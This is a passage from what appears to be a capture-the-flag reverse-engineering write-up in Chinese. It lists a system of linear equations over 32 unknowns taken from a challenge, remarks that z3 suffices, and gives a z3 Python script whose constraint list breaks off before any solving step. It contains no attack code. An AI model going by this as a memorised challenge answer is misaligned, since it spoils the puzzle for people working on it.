x0 * 2347575350 + x1 * 1308889115 + x2 * 816706 + x3 * 170180207 + x4 * 685204177 + x5 * 288117352 + x6 * 1596053028 + x7 * 4247787399 + x8 * 31917025 + x9 * 2353281381 + x10 * 3185744134 + x11 * 2003614228 + x12 * 1662365886 + x13 * 2980988429 + x14 * 1627703790 + x15 * 611495148 + x16 * 1131728868 + x17 * 1957109115 + x18 * 384617144 + x19 * 1191742837 + x20 * 2946660792 + x21 * 3628902190 + x22 * 1497475406 + x23 * 3239518215 + x24 * 3998343997 + x25 * 2046453265 + x26 * 4212348310 + x27 * 1965589374 + x28 * 1828186543 + x29 * 1017928266 + x30 * 1620042354 + x31 * 727553879 == 127606112624935498339,
x0 * 832094402 + x1 * 3314572044 + x2 * 488868442 + x3 * 1841935151 + x4 * 1171324799 + x5 * 3471299188 + x6 * 2551569670 + x7 * 2706142177 + x8 * 1413270141 + x9 * 2799345217 + x10 * 1736078138 + x11 * 2640026379 + x12 * 3309523775 + x13 * 708228019 + x14 * 187736002 + x15 * 104108754 + x16 * 2004810 + x17 * 3509194834 + x18 * 1101418726 + x19 * 3213850540 + x20 * 3057147817 + x21 * 2872087805 + x22 * 2543533871 + x23 * 1405445933 + x24 * 3453063846 + x25 * 4186228310 + x26 * 2620809382 + x27 * 2719800494 + x28 * 2919918455 + x29 * 216899503 + x30 * 2182290754 + x31 * 674368800 == 146513328826081369964,
x0 * 3379659353 + x1 * 31185134 + x2 * 2705610804 + x3 * 1311536103 + x4 * 660262997 + x5 * 1502856668 + x6 * 826236852 + x7 * 1397745099 + x8 * 2502632519 + x9 * 3208481979 + x10 * 2304290531 + x11 * 315497265 + x12 * 997141305 + x13 * 1495605164 + x14 * 1363724399 + x15 * 228866868 + x16 * 2175251957 + x17 * 3389971630 + x18 * 3635887769 + x19 * 1257419666 + x20 * 1525795938 + x21 * 3607149798 + x22 * 3014126932 + x23 * 3279147474 + x24 * 298781431 + x25 * 459143014 + x26 * 219295357 + x27 * 1281424290 + x28 * 57884126 + x29 * 3878979772 + x30 * 2624360304 + x31 * 2540908447 == 125780026597502848309,
x0 * 4141491113 + x1 * 388348346 + x2 * 2889238267 + x3 * 3733701272 + x4 * 1601705709 + x5 * 1456475651 + x6 * 948577705 + x7 * 697474119 + x8 * 3725363803 + x9 * 3494425037 + x10 * 2404375304 + x11 * 1395091741 + x12 * 2014936811 + x13 * 3226479938 + x14 * 97991957 + x15 * 2571009732 + x16 * 2169251700 + x17 * 445613394 + x18 * 3338254578 + x19 * 3100217642 + x20 * 450233404 + x21 * 1452263534 + x22 * 3323263008 + x23 * 1281259019 + x24 * 2881501240 + x25 * 3853647762 + x26 * 3872612425 + x27 * 3625904675 + x28 * 28491161 + x29 * 837865088 + x30 * 3019749606 + x31 * 3755559168 == 145685276087861502602,
x0 * 868978565 + x1 * 1880902698 + x2 * 2147687639 + x3 * 3919867658 + x4 * 1156685196 + x5 * 1258174623 + x6 * 985400361 + x7 * 2158611251 + x8 * 1736758238 + x9 * 1949766062 + x10 * 2648425083 + x11 * 675668374 + x12 * 1793502003 + x13 * 1336203958 + x14 * 915529071 + x15 * 1122262796 + x16 * 4218938706 + x17 * 3220340687 + x18 * 36734 + x19 * 3241657248 + x20 * 2771578913 + x21 * 29182553 + x22 * 50755641 + x23 * 1762070976 + x24 * 3306888932 + x25 * 2636754670 + x26 * 3631173493 + x27 * 1644653937 + x28 * 2618008158 + x29 * 4191824826 + x30 * 3192806718 + x31 * 2190278270 == 144549374105911908218,
x0 * 136541182 + x1 * 2398358896 + x2 * 2797311504 + x3 * 2901208986 + x4 * 2703442703 + x5 * 2774784461 + x6 * 2896299321 + x7 * 3629629347 + x8 * 2661198340 + x9 * 2375796526 + x10 * 2881309577 + x11 * 3914693638 + x12 * 2474743366 + x13 * 1451731319 + x14 * 2469518941 + x15 * 585788456 + x16 * 1081804477 + x17 * 533018429 + x18 * 1414204985 + x19 * 3497925490 + x20 * 3647335419 + x21 * 1664992968 + x22 * 1447923481 + x23 * 3405490146 + x24 * 249505201 + x25 * 2233596994 + x26 * 1410924969 + x27 * 2337291136 + x28 * 1379480160 + x29 * 744913417 + x30 * 2626213460 + x31 * 433230044 == 152842832971821875727,
x0 * 1014008577 + x1 * 39181748 + x2 * 1609902830 + x3 * 63541537 + x4 * 1956421427 + x5 * 2909152377 + x6 * 3644591420 + x7 * 2245163593 + x8 * 4286399149 + x9 * 1403326636 + x10 * 2505241388 + x11 * 3866291259 + x12 * 2191815293 + x13 * 3790086170 + x14 * 3670225237 + x15 * 4242912516 + x16 * 3946904107 + x17 * 1837747940 + x18 * 3855688508 + x19 * 562956386 + x20 * 890540326 + x21 * 3159132292 + x22 * 2704578526 + x23 * 2105117563 + x24 * 3103140980 + x25 * 1827417523 + x26 * 483250618 + x27 * 3611418104 + x28 * 876993421 + x29 * 1524092496 + x30 * 1409341189 + x31 * 3793036452 == 171784010999187327978,
x0 * 766382107 + x1 * 1796925795 + x2 * 2252539335 + x3 * 349697888 + x4 * 2128341206 + x5 * 237551020 + x6 * 3435605863 + x7 * 3509292666 + x8 * 2464261299 + x9 * 3708905227 + x10 * 306252195 + x11 * 1348134057 + x12 * 872885862 + x13 * 3230301891 + x14 * 4223976431 + x15 * 2129576385 + x16 * 184274380 + x17 * 1339568775 + x18 * 240471204 + x19 * 4208060501 + x20 * 3866337301 + x21 * 1736393059 + x22 * 4084431732 + x23 * 3779198617 + x24 * 3474528562 + x25 * 3227302577 + x26 * 1764448184 + x27 * 1745641228 + x28 * 3436861592 + x29 * 3395770976 + x30 * 3381022139 + x31 * 297539769 == 159926095018550107875,
x0 * 2905996883 + x1 * 3368852349 + x2 * 2813356621 + x3 * 482055211 + x4 * 1197172847 + x5 * 731391015 + x6 * 2945886565 + x7 * 3467015148 + x8 * 537949256 + x9 * 2535535996 + x10 * 1176357138 + x11 * 3396182730 + x12 * 2858025536 + x13 * 3563590525 + x14 * 4141138247 + x15 * 3391692063 + x16 * 2595437915 + x17 * 234965395 + x18 * 1117742031 + x19 * 3427440116 + x20 * 3558609028 + x21 * 112305692 + x22 * 238895413 + x23 * 2820696874 + x24 * 1930124190 + x25 * 2904137135 + x26 * 3600773562 + x27 * 54663135 + x28 * 968260380 + x29 * 2500702039 + x30 * 3005295995 + x31 * 4136599497 == 147261348508848582047,
x0 * 3421877383 + x1 * 444332646 + x2 * 3066582397 + x3 * 410262930 + x4 * 2799546449 + x5 * 2190731430 + x6 * 3607309350 + x7 * 2329930437 + x8 * 2678982918 + x9 * 2797446341 + x10 * 3884979666 + x11 * 757321735 + x12 * 272692453 + x13 * 1039573000 + x14 * 1106227562 + x15 * 1967995121 + x16 * 3818641657 + x17 * 2958463100 + x18 * 693634090 + x19 * 4116131146 + x20 * 3604001650 + x21 * 1238373233 + x22 * 3200266845 + x23 * 3957996712 + x24 * 3653451723 + x25 * 2961370342 + x26 * 3043337802 + x27 * 1398445668 + x28 * 3133330721 + x29 * 679074840 + x30 * 3563156569 + x31 * 176796959 == 167538035640995956562,
x0 * 3407463393 + x1 * 2954388381 + x2 * 3398321376 + x3 * 703750584 + x4 * 719140271 + x5 * 4255500079 + x6 * 683637205 + x7 * 3659297114 + x8 * 618688496 + x9 * 2469121759 + x10 * 3644135823 + x11 * 1311631006 + x12 * 3732181084 + x13 * 2946211492 + x14 * 3723132383 + x15 * 1325756630 + x16 * 568937023 + x17 * 3359219977 + x18 * 2395244206 + x19 * 4246808660 + x20 * 2956191019 + x21 * 494313100 + x22 * 3493565032 + x23 * 2125356358 + x24 * 293383341 + x25 * 2881003778 + x26 * 1563660838 + x27 * 2562578871 + x28 * 4144554067 + x29 * 22718298 + x30 * 2390441161 + x31 * 3851902251 == 149364132975709163594,
x0 * 3700867328 + x1 * 162482258 + x2 * 172681360 + x3 * 673608768 + x4 * 3896952374 + x5 * 1606330254 + x6 * 2557779118 + x7 * 2839188805 + x8 * 789655247 + x9 * 3424210560 + x10 * 100545829 + x11 * 3936538736 + x12 * 1653944730 + x13 * 2102833767 + x14 * 3306727712 + x15 * 599821842 + x16 * 2700883336 + x17 * 2593372272 + x18 * 4217672760 + x19 * 1547041783 + x20 * 3434126938 + x21 * 356726724 + x22 * 3095721683 + x23 * 2932731911 + x24 * 4136374907 + x25 * 730165508 + x26 * 3627218359 + x27 * 2518974159 + x28 * 3248668960 + x29 * 1495203249 + x30 * 2284224748 + x31 * 1790575076 == 139010541840838007430

其实跟加密的代码没啥关系… 用 z3 solver 解就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from z3 import *

s = Solver()
x = [0] * 32

for i in range(32):
    x[i] = Int('x[' + str(i) + ']')

s.add(x[0] * 2905774839 + x[1] * 937692645 + x[2] * 2277996359 + x[3] * 1574938713 + x[4] * 825047075 + x[5] * 1179013397 + x[6] * 2366890081 + x[7] * 3219529440 + x[8] * 2414190453 + x[9] * 3590757506 + x[10] * 3909323650 + x[11] * 2183139299 + x[12] * 1579902159 + x[13] * 3343902869 + x[14] * 896068862 + x[15] * 309758299 + x[16] * 901531607 + x[17] * 291291156 + x[18] * 2546709881 + x[19] * 4221036639 + x[20] * 3505720382 + x[21] * 3684857351 + x[22] * 2022652786 + x[23] * 451227475 + x[24] * 3741251238 + x[25] * 3997408590 + x[26] * 2256908756 + x[27] * 1334843411 + x[28] * 4020591098 + x[29] * 2114708609 + x[30] * 79808585 + x[31] * 2974805697 == 153629905098136685045)
s.add(x[0] * 633779458 + x[1] * 760323050 + x[2] * 3524136923 + x[3] * 3404961172 + x[4] * 3497719477 + x[5] * 2036024833 + x[6] * 2807481062 + x[7] * 3579571169 + x[8] * 1182247335 + x[9] * 1473703468 + x[10] * 1485764830 + x[11] * 2344149245 + x[12] * 2230867977 + x[13] * 451381281 + x[14] * 2729949187 + x[15] * 1329480928 + x[16] * 3036372799 + x[17] * 1916707506 + x[18] * 1408308101 + x[19] * 3414819940 + x[20] * 54157456 + x[21] * 4081087004 + x[22] * 81644901 + x[23] * 1046457653 + x[24] * 2786986628 + x[25] * 3293369990 + x[26] * 2547544255 + x[27] * 1408426127 + x[28] * 1700843152 + x[29] * 4028585224 + x[30] * 3882199080 + x[31] * 4040732992 == 145118376676814378151)
s.add(x[0] * 1158359552 + x[1] * 952473112 + x[2] * 2469876874 + x[3] * 1877922146 + x[4] * 2681754384 + x[5] * 441645489 + x[6] * 1451082555 + x[7] * 1282675826 + x[8] * 3628741269 + x[9] * 1538367477 + x[10] * 4256030398 + x[11] * 1551122815 + x[12] * 2403304542 + x[13] * 1198458285 + x[14] * 2596160415 + x[15] * 3952532206 + x[16] * 1372310735 + x[17] * 3735073437 + x[18] * 686367724 + x[19] * 158982013 + x[20] * 1901981688 + x[21] * 2045511526 + x[22] * 1553141146 + x[23] * 574875471 + x[24] * 3881193717 + x[25] * 281974061 + x[26] * 3401680368 + x[27] * 1071341816 + x[28] * 3856818199 + x[29] * 1543037830 + x[30] * 2600897676 + x[31] * 886793613 == 125136025093969380235)
s.add(x[0] * 3369804515 + x[1] * 1388562875 + x[2] * 2620029184 + x[3] * 3424874122 + x[4] * 2155070368 + x[5] * 515581101 + x[6] * 3448760104 + x[7] * 1571958247 + x[8] * 1344632695 + x[9] * 3418066835 + x[10] * 1055412931 + x[11] * 2599736936 + x[12] * 1682298601 + x[13] * 3888231955 + x[14] * 869443630 + x[15] * 46802084 + x[16] * 1434071143 + x[17] * 537999569 + x[18] * 3062214567 + x[19] * 638588405 + x[20] * 1418519591 + x[21] * 921851625 + x[22] * 1349011403 + x[23] * 2504652024 + x[24] * 1128409974 + x[25] * 825642445 + x[26] * 2980848614 + x[27] * 3181702547 + x[28] * 1665015471 + x[29] * 1655900518 + x[30] * 1737483004 + x[31] * 4058968130 == 123888756483831750489)
s.add(x[0] * 2992139966 + x[1] * 3421209457 + x[2] * 1518056473 + x[3] * 2934632866 + x[4] * 474750728 + x[5] * 1888643463 + x[6] * 715133241 + x[7] * 270269278 + x[8] * 3453364309 + x[9] * 2375169043 + x[10] * 475758667 + x[11] * 1550808440 + x[12] * 870004412 + x[13] * 2502311422 + x[14] * 2802347419 + x[15] * 3316934713 + x[16] * 3072815429 + x[17] * 1955447632 + x[18] * 957468873 + x[19] * 2003306503 + x[20] * 2991846576 + x[21] * 1052908526 + x[22] * 852939089 + x[23] * 2001031122 + x[24] * 1763364759 + x[25] * 318730434 + x[26] * 2271963088 + x[27] * 3167595340 + x[28] * 186065313 + x[29] * 3124233301 + x[30] * 1558676638 + x[31] * 229698311 == 136466432408823062440)
s.add(x[0] * 880826917 + x[1] * 2298353220 + x[2] * 13972845 + x[3] * 2112342331 + x[4] * 520363735 + x[5] * 1669676202 + x[6] * 2365942382 + x[7] * 2454166357 + x[8] * 86684296 + x[9] * 4180997737 + x[10] * 2651800933 + x[11] * 3387852337 + x[12] * 3569081096 + x[13] * 412248780 + x[14] * 2622374412 + x[15] * 4004737267 + x[16] * 3937062327 + x[17] * 2122230024 + x[18] * 508412261 + x[19] * 925290104 + x[20] * 2297262392 + x[21] * 2615036583 + x[22] * 956831662 + x[23] * 2377853219 + x[24] * 2129964002 + x[25] * 711861720 + x[26] * 1072575240 + x[27] * 290600530 + x[28] * 3557322638 + x[29] * 1937025602 + x[30] * 3942606369 + x[31] * 848634526 == 135520634374716138253)
s.add(x[0] * 1667423245 + x[1] * 3205256744 + x[2] * 4218058651 + x[3] * 4247786171 + x[4] * 2902884888 + x[5] * 1776716207 + x[6] * 57317883 + x[7] * 2810845945 + x[8] * 4056618058 + x[9] * 2442806270 + x[10] * 189251210 + x[11] * 175454169 + x[12] * 1563217423 + x[13] * 1584552187 + x[14] * 4066113642 + x[15] * 2678017765 + x[16] * 1370397535 + x[17] * 1796075905 + x[18] * 3507132543 + x[19] * 2375242245 + x[20] * 1599167786 + x[21] * 3353660587 + x[22] * 2792999728 + x[23] * 2513875102 + x[24] * 3349313992 + x[25] * 561973312 + x[26] * 131599779 + x[27] * 1780045940 + x[28] * 181893476 + x[29] * 1515423140 + x[30] * 1695557088 + x[31] * 1103274089 == 140870834889282733787)
s.add(x[0] * 2924743894 + x[1] * 2747685610 + x[2] * 703249631 + x[3] * 2970835309 + x[4] * 1709917538 + x[5] * 2326038184 + x[6] * 3850628518 + x[7] * 1598044999 + x[8] * 1230534089 + x[9] * 2628050448 + x[10] * 560260479 + x[11] * 2827469192 + x[12] * 1261659178 + x[13] * 3473946812 + x[14] * 2627319447 + x[15] * 2783861426 + x[16] * 1814833846 + x[17] * 3969833864 + x[18] * 4048131215 + x[19] * 3849752757 + x[20] * 3942527132 + x[21] * 3218422785 + x[22] * 1568409347 + x[23] * 3959466355 + x[24] * 2784582743 + x[25] * 2996021365 + x[26] * 1058302993 + x[27] * 360568252 + x[28] * 4120475817 + x[29] * 612600724 + x[30] * 3312442340 + x[31] * 2780876242 == 162850348028726438719)
s.add(x[0] * 1616016662 + x[1] * 3654249690 + x[2] * 137386530 + x[3] * 1430840003 + x[4] * 413249034 + x[5] * 512756864 + x[6] * 4178200879 + x[7] * 2530110366 + x[8] * 2920225584 + x[9] * 3182457452 + x[10] * 1705355659 + x[11] * 2866496197 + x[12] * 4233807177 + x[13] * 1885804809 + x[14] * 1332101007 + x[15] * 511987054 + x[16] * 3709126878 + x[17] * 1639834513 + x[18] * 2331999251 + x[19] * 3942139119 + x[20] * 3452087731 + x[21] * 3059112759 + x[22] * 3445769324 + x[23] * 128282305 + x[24] * 895514710 + x[25] * 3973866022 + x[26] * 3074206386 + x[27] * 2793860989 + x[28] * 4208156768 + x[29] * 1868752777 + x[30] * 1128655300 + x[31] * 4224750762 == 173549152139361191182)
s.add(x[0] * 1507751682 + x[1] * 1846572164 + x[2] * 2041260497 + x[3] * 1124204604 + x[4] * 803283004 + x[5] * 2783064398 + x[6] * 3894553701 + x[7] * 1968388652 + x[8] * 4001422379 + x[9] * 3448449208 + x[10] * 3520475047 + x[11] * 2550138883 + x[12] * 2389210163 + x[13] * 126106238 + x[14] * 2662172629 + x[15] * 4261498421 + x[16] * 3044233456 + x[17] * 3644778899 + x[18] * 870298634 + x[19] * 2695223165 + x[20] * 1650836877 + x[21] * 1258482236 + x[22] * 1063099544 + x[23] * 3764404492 + x[24] * 3967617774 + x[25] * 1965577715 + x[26] * 2446428246 + x[27] * 1505068720 + x[28] * 3981692241 + x[29] * 3408565448 + x[30] * 2781597153 + x[31] * 3092390689 == 180393478529485883021)
s.add(x[0] * 351479342 + x[1] * 503524980 + x[2] * 1716292026 + x[3] * 938189610 + x[4] * 3362208287 + x[5] * 280354280 + x[6] * 2300444836 + x[7] * 1468215142 + x[8] * 3180887405 + x[9] * 2532072979 + x[10] * 1652875734 + x[11] * 2254901041 + x[12] * 259860786 + x[13] * 3263784945 + x[14] * 483273054 + x[15] * 3166504792 + x[16] * 914039776 + x[17] * 4266192190 + x[18] * 1042961273 + x[19] * 181336626 + x[20] * 669694284 + x[21] * 2453653976 + x[22] * 1389685958 + x[23] * 2284711690 + x[24] * 3317847597 + x[25] * 2440906291 + x[26] * 3042784363 + x[27] * 1482188614 + x[28] * 2369361990 + x[29] * 324426473 + x[30] * 1763743995 + x[31] * 3934897747 == 117888147215252945859)
s.add(x[0] * 725022521 + x[1] * 938746075 + x[2] * 3633113215 + x[3] * 4185273958 + x[4] * 2800996696 + x[5] * 2631729929 + x[6] * 2692051893 + x[7] * 3433724886 + x[8] * 1616354254 + x[9] * 3607913532 + x[10] * 529812087 + x[11] * 2791241832 + x[12] * 1737462722 + x[13] * 3641411598 + x[14] * 1924632655 + x[15] * 1616473457 + x[16] * 3637886658 + x[17] * 1858291856 + x[18] * 1078390594 + x[19] * 1887741658 + x[20] * 2265350830 + x[21] * 2676979191 + x[22] * 1970124470 + x[23] * 664078020 + x[24] * 1808737559 + x[25] * 2298779415 + x[26] * 1388943648 + x[27] * 4204667059 + x[28] * 1073622448 + x[29] * 3443318903 + x[30] * 2171824304 + x[31] * 1868209557 == 158683608359654647072)
s.add(x[0] * 650341618 + x[1] * 2935581294 + x[2] * 2644385881 + x[3] * 1535307611 + x[4] * 1016591324 + x[5] * 815158333 + x[6] * 1448798160 + x[7] * 2641332727 + x[8] * 270686394 + x[9] * 2219311183 + x[10] * 2967122700 + x[11] * 3770872278 + x[12] * 3541712142 + x[13] * 3868017641 + x[14] * 3555690826 + x[15] * 802632927 + x[16] * 3680835829 + x[17] * 682966028 + x[18] * 1194680003 + x[19] * 894072837 + x[20] * 1878364070 + x[21] * 1331140614 + x[22] * 965880101 + x[23] * 1138566143 + x[24] * 701720887 + x[25] * 2742737986 + x[26] * 3045938774 + x[27] * 147247760 + x[28] * 4094028215 + x[29] * 204167974 + x[30] * 3200135673 + x[31] * 27026610 == 119553298425410260470)
s.add(x[0] * 3264996808 + x[1] * 2331472878 + x[2] * 2992654618 + x[3] * 1337387837 + x[4] * 3068330431 + x[5] * 1897134387 + x[6] * 2124686830 + x[7] * 433732986 + x[8] * 560852756 + x[9] * 569523526 + x[10] * 1635729292 + x[11] * 3899076223 + x[12] * 2599433468 + x[13] * 2525044550 + x[14] * 3233393817 + x[15] * 1990368374 + x[16] * 8003701 + x[17] * 1649870439 + x[18] * 429808458 + x[19] * 2788914187 + x[20] * 3183669167 + x[21] * 4029467918 + x[22] * 1823857717 + x[23] * 3493646301 + x[24] * 1619264007 + x[25] * 1485689524 + x[26] * 1136226577 + x[27] * 2403749534 + x[28] * 4188551850 + x[29] * 19971766 + x[30] * 3514606027 + x[31] * 2659730746 == 129283893341689770873)
s.add(x[0] * 3179913872 + x[1] * 1590442647 + x[2] * 16192345 + x[3] * 2330075242 + x[4] * 655160953 + x[5] * 4052746453 + x[6] * 3225345308 + x[7] * 3362725382 + x[8] * 350986883 + x[9] * 2257032841 + x[10] * 203422664 + x[11] * 1211339833 + x[12] * 1005356492 + x[13] * 3016854180 + x[14] * 3052361161 + x[15] * 667363442 + x[16] * 1711948350 + x[17] * 674085815 + x[18] * 386890144 + x[19] * 3422048832 + x[20] * 127837425 + x[21] * 1178013843 + x[22] * 642733070 + x[23] * 3317927971 + x[24] * 470770850 + x[25] * 1793530046 + x[26] * 3190738311 + x[27] * 1437576481 + x[28] * 273211936 + x[29] * 3162727862 + x[30] * 172486187 + x[31] * 3154971774 == 122131281329452040239)
s.add(x[0] * 1984698529 + x[1] * 1445752975 + x[2] * 556628780 + x[3] * 1388438884 + x[4] * 1249287957 + x[5] * 355916806 + x[6] * 317389095 + x[7] * 3161347497 + x[8] * 3059986980 + x[9] * 3375424603 + x[10] * 2501724356 + x[11] * 3520286932 + x[12] * 2650494784 + x[13] * 3031688124 + x[14] * 777396084 + x[15] * 3712283044 + x[16] * 2001084449 + x[17] * 2179194542 + x[18] * 330859108 + x[19] * 4245370419 + x[20] * 1597774590 + x[21] * 279816529 + x[22] * 2461029032 + x[23] * 4024610466 + x[24] * 2111027579 + x[25] * 1607579079 + x[26] * 2097268956 + x[27] * 2069066877 + x[28] * 2186433547 + x[29] * 922721930 + x[30] * 1292267441 + x[31] * 2955441028 == 144038024275757774857)
s.add(x[0] * 1241308871 + x[1] * 1393662036 + x[2] * 4198993351 + x[3] * 91138693 + x[4] * 525807852 + x[5] * 2577403449 + x[6] * 86644570 + x[7] * 1732667838 + x[8] * 2939702570 + x[9] * 2284810186 + x[10] * 208700933 + x[11] * 2215740017 + x[12] * 3214773041 + x[13] * 870729362 + x[14] * 65832640 + x[15] * 3610432908 + x[16] * 522601813 + x[17] * 175075843 + x[18] * 1282298391 + x[19] * 36747212 + x[20] * 2587821571 + x[21] * 4181954474 + x[22] * 1445029272 + x[23] * 153408069 + x[24] * 3576784077 + x[25] * 3813757427 + x[26] * 3320262816 + x[27] * 3551464465 + x[28] * 3353985098 + x[29] * 2447602934 + x[30] * 3490733926 + x[31] * 3993341361 == 123274418600692000659)
s.add(x[0] * 893304126 + x[1] * 3166857574 + x[2] * 2441202939 + x[3] * 3327570642 + x[4] * 3669549855 + x[5] * 780027614 + x[6] * 180713694 + x[7] * 2647145856 + x[8] * 2319909284 + x[9] * 1561031212 + x[10] * 4202799781 + x[11] * 573281460 + x[12] * 3493520432 + x[13] * 3956590471 + x[14] * 3037423252 + x[15] * 3483144817 + x[16] * 275082166 + x[17] * 708813902 + x[18] * 4034706302 + x[19] * 2451646427 + x[20] * 1709043422 + x[21] * 3508904880 + x[22] * 3914395210 + x[23] * 1390932539 + x[24] * 724980967 + x[25] * 3605577362 + x[26] * 523257167 + x[27] * 869314102 + x[28] * 921376992 + x[29] * 3327052711 + x[30] * 513275795 + x[31] * 3636241417 == 157486161096751655213)
s.add(x[0] * 2312777622 + x[1] * 1817334395 + x[2] * 1138529684 + x[3] * 3773604428 + x[4] * 1935211151 + x[5] * 2213289840 + x[6] * 377676625 + x[7] * 1196080510 + x[8] * 1199201227 + x[9] * 2631999064 + x[10] * 2323693808 + x[11] * 3341119621 + x[12] * 4082235941 + x[13] * 1108916057 + x[14] * 4084043198 + x[15] * 3777740051 + x[16] * 625149649 + x[17] * 2152448475 + x[18] * 2880243061 + x[19] * 2428704446 + x[20] * 747636324 + x[21] * 3509162185 + x[22] * 2883831894 + x[23] * 414518377 + x[24] * 3814902119 + x[25] * 2824636355 + x[26] * 247901663 + x[27] * 386586108 + x[28] * 1765102390 + x[29] * 18084913 + x[30] * 3764887142 + x[31] * 1394818146 == 123317982529357675593)
s.add(x[0] * 2391932865 + x[1] * 1997583865 + x[2] * 3809734451 + x[3] * 92863853 + x[4] * 252092837 + x[5] * 4213171834 + x[6] * 935980948 + x[7] * 2427304675 + x[8] * 2544835044 + x[9] * 1740512234 + x[10] * 2320698790 + x[11] * 1671324494 + x[12] * 3667386361 + x[13] * 4067418541 + x[14] * 157438085 + x[15] * 2118582852 + x[16] * 1441120116 + x[17] * 2280200848 + x[18] * 4208695179 + x[19] * 1106492516 + x[20] * 2587300334 + x[21] * 3381272823 + x[22] * 372050960 + x[23] * 428062772 + x[24] * 1286515897 + x[25] * 22829630 + x[26] * 1687635288 + x[27] * 148405470 + x[28] * 1814450870 + x[29] * 1463318313 + x[30] * 3619227493 + x[31] * 3925731221 == 126768559219496596529)
s.add(x[0] * 2347575350 + x[1] * 1308889115 + x[2] * 816706 + x[3] * 170180207 + x[4] * 685204177 + x[5] * 288117352 + x[6] * 1596053028 + x[7] * 4247787399 + x[8] * 31917025 + x[9] * 2353281381 + x[10] * 3185744134 + x[11] * 2003614228 + x[12] * 1662365886 + x[13] * 2980988429 + x[14] * 1627703790 + x[15] * 611495148 + x[16] * 1131728868 + x[17] * 1957109115 + x[18] * 384617144 + x[19] * 1191742837 + x[20] * 2946660792 + x[21] * 3628902190 + x[22] * 1497475406 + x[23] * 3239518215 + x[24] * 3998343997 + x[25] * 2046453265 + x[26] * 4212348310 + x[27] * 1965589374 + x[28] * 1828186543 + x[29] * 1017928266 + x[30] * 1620042354 + x[31] * 727553879 == 127606112624935498339)
s.add(x[0] * 832094402 + x[1] * 3314572044 + x[2] * 488868442 + x[3] * 1841935151 + x[4] * 1171324799 + x[5] * 3471299188 + x[6] * 2551569670 + x[7] * 2706142177 + x[8] * 1413270141 + x[9] * 2799345217 + x[10] * 1736078138 + x[11] * 2640026379 + x[12] * 3309523775 + x[13] * 708228019 + x[14] * 187736002 + x[15] * 104108754 + x[16] * 2004810 + x[17] * 3509194834 + x[18] * 1101418726 + x[19] * 3213850540 + x[20] * 3057147817 + x[21] * 2872087805 + x[22] * 2543533871 + x[23] * 1405445933 + x[24] * 3453063846 + x[25] * 4186228310 + x[26] * 2620809382 + x[27] * 2719800494 + x[28] * 2919918455 + x[29] * 216899503 + x[30] * 2182290754 + x[31] * 674368800 == 146513328826081369964)
s.add(x[0] * 3379659353 + x[1] * 31185134 + x[2] * 2705610804 + x[3] * 1311536103 + x[4] * 660262997 + x[5] * 1502856668 + x[6] * 826236852 + x[7] * 1397745099 + x[8] * 2502632519 + x[9] * 3208481979 + x[10] * 2304290531 + x[11] * 315497265 + x[12] * 997141305 + x[13] * 1495605164 + x[14] * 1363724399 + x[15] * 228866868 + x[16] * 2175251957 + x[17] * 3389971630 + x[18] * 3635887769 + x[19] * 1257419666 + x[20] * 1525795938 + x[21] * 3607149798 + x[22] * 3014126932 + x[23] * 3279147474 + x[24] * 298781431 + x[25] * 459143014 + x[26] * 219295357 + x[27] * 1281424290 + x[28] * 57884126 + x[29] * 3878979772 + x[30] * 2624360304 + x[31] * 2540908447 == 125780026597502848309)
s.add(x[0] * 4141491113 + x[1] * 388348346 + x[2] * 2889238267 + x[3] * 3733701272 + x[4] * 1601705709 + x[5] * 1456475651 + x[6] * 948577705 + x[7] * 697474119 + x[8] * 3725363803 + x[9] * 3494425037 + x[10] * 2404375304 + x[11] * 1395091741 + x[12] * 2014936811 + x[13] * 3226479938 + x[14] * 97991957 + x[15] * 2571009732 + x[16] * 2169251700 + x[17] * 445613394 + x[18] * 3338254578 + x[19] * 3100217642 + x[20] * 450233404 + x[21] * 1452263534 + x[22] * 3323263008 + x[23] * 1281259019 + x[24] * 2881501240 + x[25] * 3853647762 + x[26] * 3872612425 + x[27] * 3625904675 + x[28] * 28491161 + x[29] * 837865088 + x[30] * 3019749606 + x[31] * 3755559168 == 145685276087861502602)
s.add(x[0] * 868978565 + x[1] * 1880902698 + x[2] * 2147687639 + x[3] * 3919867658 + x[4] * 1156685196 + x[5] * 1258174623 + x[6] * 985400361 + x[7] * 2158611251 + x[8] * 1736758238 + x[9] * 1949766062 + x[10] * 2648425083 + x[11] * 675668374 + x[12] * 1793502003 + x[13] * 1336203958 + x[14] * 915529071 + x[15] * 1122262796 + x[16] * 4218938706 + x[17] * 3220340687 + x[18] * 36734 + x[19] * 3241657248 + x[20] * 2771578913 + x[21] * 29182553 + x[22] * 50755641 + x[23] * 1762070976 + x[24] * 3306888932 + x[25] * 2636754670 + x[26] * 3631173493 + x[27] * 1644653937 + x[28] * 2618008158 + x[29] * 4191824826 + x[30] * 3192806718 + x[31] * 2190278270 == 144549374105911908218)
s.add(x[0] * 136541182 + x[1] * 2398358896 + x[2] * 2797311504 + x[3] * 2901208986 + x[4] * 2703442703 + x[5] * 2774784461 + x[6] * 2896299321 + x[7] * 3629629347 + x[8] * 2661198340 + x[9] * 2375796526 + x[10] * 2881309577 + x[11] * 3914693638 + x[12] * 2474743366 + x[13] * 1451731319 + x[14] * 2469518941 + x[15] * 585788456 + x[16] * 1081804477 + x[17] * 533018429 + x[18] * 1414204985 + x[19] * 3497925490 + x[20] * 3647335419 + x[21] * 1664992968 + x[22] * 1447923481 + x[23] * 3405490146 + x[24] * 249505201 + x[25] * 2233596994 + x[26] * 1410924969 + x[27] * 2337291136 + x[28] * 1379480160 + x[29] * 744913417 + x[30] * 2626213460 + x[31] * 433230044 == 152842832971821875727)
s.add(x[0] * 1014008577 + x[1] * 39181748 + x[2] * 1609902830 + x[3] * 63541537 + x[4] * 1956421427 + x[5] * 2909152377 + x[6] * 3644591420 + x[7] * 2245163593 + x[8] * 4286399149 + x[9] * 1403326636 + x[10] * 2505241388 + x[11] * 3866291259 + x[12] * 2191815293 + x[13] * 3790086170 + x[14] * 3670225237 + x[15] * 4242912516 + x[16] * 3946904107 + x[17] * 1837747940 + x[18] * 3855688508 + x[19] * 562956386 + x[20] * 890540326 + x[21] * 3159132292 + x[22] * 2704578526 + x[23] * 2105117563 + x[24] * 3103140980 + x[25] * 1827417523 + x[26] * 483250618 + x[27] * 3611418104 + x[28] * 876993421 + x[29] * 1524092496 + x[30] * 1409341189 + x[31] * 3793036452 == 171784010999187327978)
